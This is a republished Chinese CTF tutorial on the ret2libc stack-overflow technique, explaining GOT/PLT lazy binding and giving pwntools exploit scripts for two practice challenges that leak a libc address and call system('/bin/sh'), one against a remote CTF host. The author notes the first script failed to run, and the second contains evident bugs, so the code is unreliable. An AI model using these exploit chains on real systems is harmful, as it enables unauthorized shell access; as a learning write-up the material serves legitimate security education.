网络攻防快速入门笔记pwn | 02 栈溢出题型 | 2.2 ret2libc

news2025/5/19 4:21:08

上一篇:网络攻防快速入门笔记pwn | 02 栈溢出题型 | 2.1 ret2text和ret2shellcode

下一篇:网络攻防快速入门笔记pwn | 02 栈溢出题型 | 2.3 ret2syscall

欢迎关注~

ret2libc

  • 一、 什么是ret2libc
    • (一)ret2lib的概念
    • (二)使用ret2libc的原因
  • 二、 动态链接
  • 三、 GOT表和PLT表
    • (一)got和plt
    • (二)延迟绑定
  • 四、ret2libc实操
    • (一)x32 payload结构
    • (二)x64 payload结构

一、 什么是ret2libc

(一)ret2lib的概念

ret2lib这种攻击方式主要是针对动态链接编译的程序,因为正常情况下是无法在程序中找到像system()execve()这种系统级别的函数(如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式)。

(二)使用ret2libc的原因

现代操作系统为了增加系统的安全性,采取了ASLRNX等安全措施,以防止恶意代码的注入和执行。通过ret2libc攻击,攻击者可以利用已加载到内存中的标准C库函数,从而完成对系统的攻击。

二、 动态链接

静态链接将全部的函数写入ELF文件本身,动态链接是指程序装载的时候通过动态链接器将程序所需要的所有动态链接装载到进程空间中,当程序运行的时候才将他们链接在一起形成一个完整程序的过程。
动态链接相对于静态链接,具有:节约内存、共享库文件、灵活更新、减小可执行文件大小的优点。
C代码到进程镜像图解:

三、 GOT表和PLT表

(一)got和plt

就是利用某个可打印东西的函数,例如:puts函数,打印出另一个函数在got表中的地址。
got(Global Offset Table,全局偏移表)是linux ELF文件中用于定位全局变量和函数的一个表。
PLT(过程链接表)是Linux ELF文件中用于延迟绑定的表。

(二)延迟绑定

所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别是有利于一些引用大量函数的程序。

可能还是不太好理解,这里举个简单的例子:
这里我们需要调用aaa函数,同理调用system这种函数也是一样的,可以发散思维。
如果我们需要调用aaa函数,这样一个存在于动态链接库中的函数。
首先会跳到plt节,每一个程序被每一个需要被程序调用的函数,都会在plt中生成一个表象,包括输出用到的puts函数;
在这里插入图片描述

接下来程序会调转到plt中第一条指令:jmp *(aaa@GOT),跳到got表中,因为这里是第一次对aaa函数进行调用
在这里插入图片描述

此时got表中还没有存储我们需要的aaa函数的真实地址,因此执行aaa@plt+6,程序又回到了plt表中的下一条命令:push index,这里的index指的就是参数(也就是got表中的索引),我们这里需要知道的是,所有的函数在.got.plt表中都有一个索引,如下图中,printf的索引就是0,那么aaa就是1,接下来,程序会跳转到PLT0的位置
在这里插入图片描述

在这里,调用PLT0中的命令,这里的GOT+4的地址就是动态链接库的地址,GOT+8就是dl_resolve的地址,并执行一系列复杂的函数dl_resolve,从而将.got
.plt表中的aaa地址进行更新
在这里插入图片描述

以上的过程就是第一次调用aaa函数,接下来如果再次调用aaa就不用那么麻烦了。
直接从plt表跳转到got表,此时got表中存储的就是aaa的真实地址。
上面可能有点复杂,可以反复看几遍。
总结一下:
PLT表中存的是GOT表中的地址,GOT表存的就是我们需要的函数的地址,我们通过栈溢出构造ROP链就可以跳转到got表,就可以泄露出所需要的函数的真实地址,后续只要用函数中的真实地址减去libc中这个函数的地址,就可以得到libc的基地址,然后用libc的基地址加上我们所需要函数的偏移地址(做题中一般找的比较多的就是system和/bin/sh),就可以得到真实地址,如果我们得到system和/bin/sh的真实地址,就可以很容易构造getshell了。

ASLR保护开启后,会对共享libc和堆的地址进行随机化,所谓随机化就是偏移:
在这里插入图片描述

但是这里的偏移是整体偏移,并不是地址杂乱无章,所以我们依然可以使用lib基地址加偏移的方式去计算真实地址。

四、ret2libc实操

(一)x32 payload结构

在做题过程中我们一般会有两个文件,一个是ELF文件,另一个是libc库文件(有些题也不会给出libc库,需要我们根据函数在libc库中的偏移量,来查找对应的libc库)
如果我们要攻击,就要构造payload,攻击的时候首先要栈溢出。
这里以调用参数为1,2,3的function函数为例function(1,2,3)
在这里插入图片描述

当父函数调用子函数的时候,首先会将子函数的参数压栈,接下来就是返回地址,使得子函数执行完可以回到父函数中,在下面才是我们需要执行的子函数。
例题polarctf——Game
先分析二进制文件,关注以下重点信息,这是一个32位的程序,而且是一个动态链接的程序,什么保护都没开
在这里插入图片描述

用IDA直接打开进行分析,main函数中首先打印:Do you play game?,然后输入buf和b做对比,如果相同就进入function函数,点入b变量,发现存的是yes
在这里插入图片描述
在这里插入图片描述

接下来看看function函数:
在这里插入图片描述

同样输入yes就会执行star函数,打开star函数发现了栈溢出漏洞:
在这里插入图片描述

一些基础知识:
在这里插入图片描述

直接编写编写脚本(可能是我的环境问题,代码无法运行,但是思路是对的):

from pwn import * #导入包
from LibcSearcher import *# 这个包主要用来查看这个二进制文件匹配的libc文件

# 进入调试模式,可以查看运行过程中接受了什么数据,发送了什么数据
context.log_level = 'debug'
#远程连接
io = process("./code/pwn/ret2lib/Game")
#加载本地二进制文件,主要是为了获取二进制文本相关函数本地的plt地址和got地址
elf = ELF("./code/pwn/ret2lib/Game")
# 获取puts函数的plt地址和got地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

#绕过两个判断
io.sendlineafter(b"Do you play game?",b'yes')
io.sendlineafter(b"Do you think playing games will affect your learning?",b'yes')

#获取puts函数的got地址
padding = 112
star_addr = 0x080485F4
payload = 112*b'a' + p32(puts_plt) + p32(star_addr) + p32(puts_got)
io.sendlineafter(b'as you!\n', payload)
io.recvuntil(b'p')
#print(io.recvline()[0:4])
puts_real = u32(io.recvline()[0:4])
print(puts_real)

#这里题目没有提供libc文件,所以用LibcSearcher工具去进行查找
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = LibcSearcher('puts',puts_real)  
libc_base = puts_real - libc.dump('puts')  
system_addr = libc_base + libc.dump('system')  
binsh = libc_base + libc.dump("str_bin_sh")

payload = 112*b'a' + p32(system_addr) + p32(0xdeadbeef) + p32(binsh)
io.sendlineafter(b'as you!\n', payload)
io.interactive()

在这里插入图片描述

查找libc文件进行下载的链接:https://libcdb.dariopetrillo.it/

(二)x64 payload结构

例题polarctf——sleep
在这里插入图片描述

x64程序通过寄存器传参。当六个寄存器用于传参分别是rdi、rsi、rdx、rcx、r8、r9;
当六个寄存器用完才会在栈上传参。
看一下这个题,首先是main函数:
在这里插入图片描述

先是初始化,然后就是执行fun函数:
在这里插入图片描述

发现这里就直接有个gets栈溢出,比上一个题简单很多
shift+F12,看是否有后门函数,发现没有:
在这里插入图片描述

并查找rdi语句:
在这里插入图片描述

直接写脚本:

from pwn import *
r = remote('120.46.59.242',2118)
elf = ELF('./pwn1')

padding = 120
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#需要一个返回地址,这里设置成main函数
main_addr = 0x4006F6
pop_rdi_ret = 0x400783
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload +=p64(puts_plt)
payload +=p64(main_addr)
r.sendline(payload)
r.recvline()
#64位程序有一点点不一样,它的地址一般有效为6位
puts_real = u64(r.recvline()[:-1].ljust(8,b'\x00'))
#这里和上一道题不太一样,这一道题就不用工具LibcSearcher去找了,直接在网上找到对应的libc进行加载
#加载本地的libc代码有一点点不一样,注意下面这段代码
libc =ELF('libc库地址')
libc_base = puts_real-libc.symbol['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*payload +p64(pop_rdi_ret)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
sleep(1)
r.sendline(payload2)
r.interactive()

提交并运行:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2326762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Edge浏览器快速开启IE模式

一些老旧的网站,仅支持Internet Explorer(IE)浏览器访问。 然而,出于安全性的考虑,可能会遇到限制IE浏览器使用的情况。 Microsoft Edge浏览器提供了兼容性配置,可以通过IE模式访问这些网站。 以下是两种…

LeetCode 解题思路 29(Hot 100)

解题思路: 映射关系建立:创建一个哈希表存储数字到字母的映射。递归参数: 给定字符串 digits、结果集 result、当前路径 path、当前位置 start。递归过程: 当当前位置 start 等于 digits 长度时,说明已经遍历完 digi…

LabVIEW永磁同步电机性能测试系统

开发了一种基于LabVIEW的永磁同步电机(PMSM)性能测试系统的设计及应用。该系统针对新能源汽车使用的电机进行稳态性能测试,解决了传统测试方法成本高、效率低的问题,实现了测试自动化,提高了数据的准确性和客观性。 ​…

MTK Camera 照片切视频Systrace拆解分析

和你一起终身学习,这里是程序员Android 经典好文推荐,通过阅读本文,您将收获以下知识点: 一、Systrace 拆解概览二、Systrace 阶段拆解详解 一、Systrace 拆解概览 MTK Camera 照片切换视频trace 拆解(非切换摄像头类) 照片切换视频模块trace…

某合约任意提取BNB漏洞

1背景描述 合约是一个在满足特定条件时在区块链上执行代码的程序,各方以数字签署合同的方式准许并维护它的其运行。这些代码可以是向朋友汇款、买卖 NFT 虚拟商品等一系列复杂的内容。 存在漏洞的目标合约是一个结合Meme文化病毒式传播与去中心化金融(D…

插件实现:分别通过winform和WPF界面输入操作CAD——CAD c#二次开发

效果如下图所示: 主程序 using Autodesk.AutoCAD.ApplicationServices; using Autodesk.AutoCAD.DatabaseServices; using Autodesk.AutoCAD.EditorInput; using Autodesk.AutoCAD.Geometry; using Autodesk.AutoCAD.Runtime; using System; using System.Windows…

白酒迈入3.0时代,珍酒李渡如何穿越周期高质增长?

当下,白酒行业仍处深度调整期,过往通过渠道拓展、硬广宣传等推动规模扩张、提升市场份额的模式,愈发难以为继。 行业迫切需要构建高质增长新模式,完成增长动能转换。中国酒业协会理事长宋书玉提出,白酒消费亟需进入品…

人工智能-LangGraph+ChatUI+DeepSeek API搭建本地智能助手

人工智能-LangGraphChatUIDeepSeek API搭建本地智能助手 0 环境说明1 LangGraph2 Agent Chat UI 0 环境说明 环境项环境说明操作系统Windows11 专业版硬件信息联想拯救者Y9000PcondaAnancondaPython版本3.12NodeJs18.20.0 # 使用conda创建python环境 conda create -n langgra…

虚幻5入门

常用操作 运行时,调试相机,按~键,输入ToggleDebugCamera 。进入自由视角 常用节点 gate节点:用于控制该流程通不通,执不执行。Flip Flop节点:反转执行,一次A,一次B。Set Timer by…

慧通测控:汽车RGB氛围灯功能测试介绍

在汽车内饰不断进化的当下,汽车 RGB 氛围灯已从曾经的小众配置,逐渐成为众多车主提升驾乘体验的热门选择。它宛如车内的 “魔法精灵”,凭借丰富的功能,为单调的车厢披上一层梦幻而温馨的色彩。今天,让我们深入探究汽车…

QML Book 学习基础6(定位/布局元素)

目录 定位元素 Column Row Grid Flow 布局元素 1.元素填充它的⽗元素。 2.对齐 定位元素 Column Column (列)元素将它的⼦对象通过顶部对⻬的列⽅式进⾏排列。 spacing 属性⽤来设置每个元素之间的间隔⼤⼩ Row Row (⾏)元…

【SpringCloud】LoadBalance-负载均衡

4. 负载均衡-LoadBalance 4.1 为什么需要负载均衡? 不知道各位心中有没有女神,通常来说一个女神就会有多个舔狗,那这些舔狗呢,就会心甘情愿的帮女神干活,假设女神小美现在有三个舔狗,小美喜欢让这三个舔狗…

自然语言处理(26:(终章Attention 2.)带Attention的seq2seq的实现)

系列文章目录 终章 1:Attention的结构 终章 2:带Attention的seq2seq的实现 终章 3:Attention的评价 终章 4:关于Attention的其他话题 终章 5:Attention的应用 目录 系列文章目录 前言 一、编码器的实现 二、解…

Sentinel实战(二)、流控规则之流控阈值类型、流控模式

spring cloud Alibaba-sentinel-流控 流控规则前置环境一、基于阈值类型(QPS/线程数)维度,设置流控规则demo1、流控规则:设置QPS流控规则设置含义测试,观察流控规则设定后的效果demo2、流控规则-设置线程数流控规则设置含义测试,观察流控规则设定后的效果二、基于流控模…

AI与.NET技术实操系列(四):使用 Semantic Kernel 和 DeepSeek 构建AI应用

1. 引言 在人工智能技术飞速发展的今天,大型语言模型(Large Language Models, LLMs)已成为智能应用开发的核心驱动力。从智能客服到自动化内容生成,LLMs的应用正在深刻改变我们的工作和生活方式。 对于.NET开发者而言,…

HarmonyOS:ComposeTitleBar 组件自学指南

在日常的鸿蒙应用开发工作中,我们常常会面临构建美观且功能实用的用户界面的挑战。而标题栏作为应用界面的重要组成部分,它不仅承载着展示页面关键信息的重任,还能为用户提供便捷的操作入口。最近在参与的一个项目里,我就深深体会…

25-智慧旅游系统(协同算法)三端

介绍 技术: 基于 B/S 架构 SpringBootMySQLLayuivue 环境: Idea mysql maven jdk1.8 node 管理端功能 首页展示图表:以数据可视化方式展示关键业务数据。 用户管理:管理系统用户,包括查看、编辑等操作。 供应商管…

数据结构实验1.2: 顺序表的基本运算

文章目录 一,问题描述二,基本要求三,算法分析(1)插入算法(2)删除算法 四,参考程序五,运行效果 一,问题描述 创建一个顺序表,编程实现顺序表的下列…

【QT】QT中的信号与槽

QT中的信号与槽 一、信号与槽函数的作用二、如何关联信号与槽函数1、借助集成开发环境,右键转到槽函数示例代码: 2、调用connect函数手动关联信号与槽函数 三、扩展四、总结信号与槽的特点1、一个类如果要使用信号以及槽函数,那么该类的定义中…

使用Python爬虫获取1688商品(按图搜索)接口

一、引言 随着电商行业的不断发展,消费者对商品搜索的效率和准确性要求越来越高。1688作为国内领先的B2B电商平台,提供了丰富的商品搜索功能,其中按图搜索功能(类似于淘宝的拍立淘)极大地提升了用户的购物体验。本文将…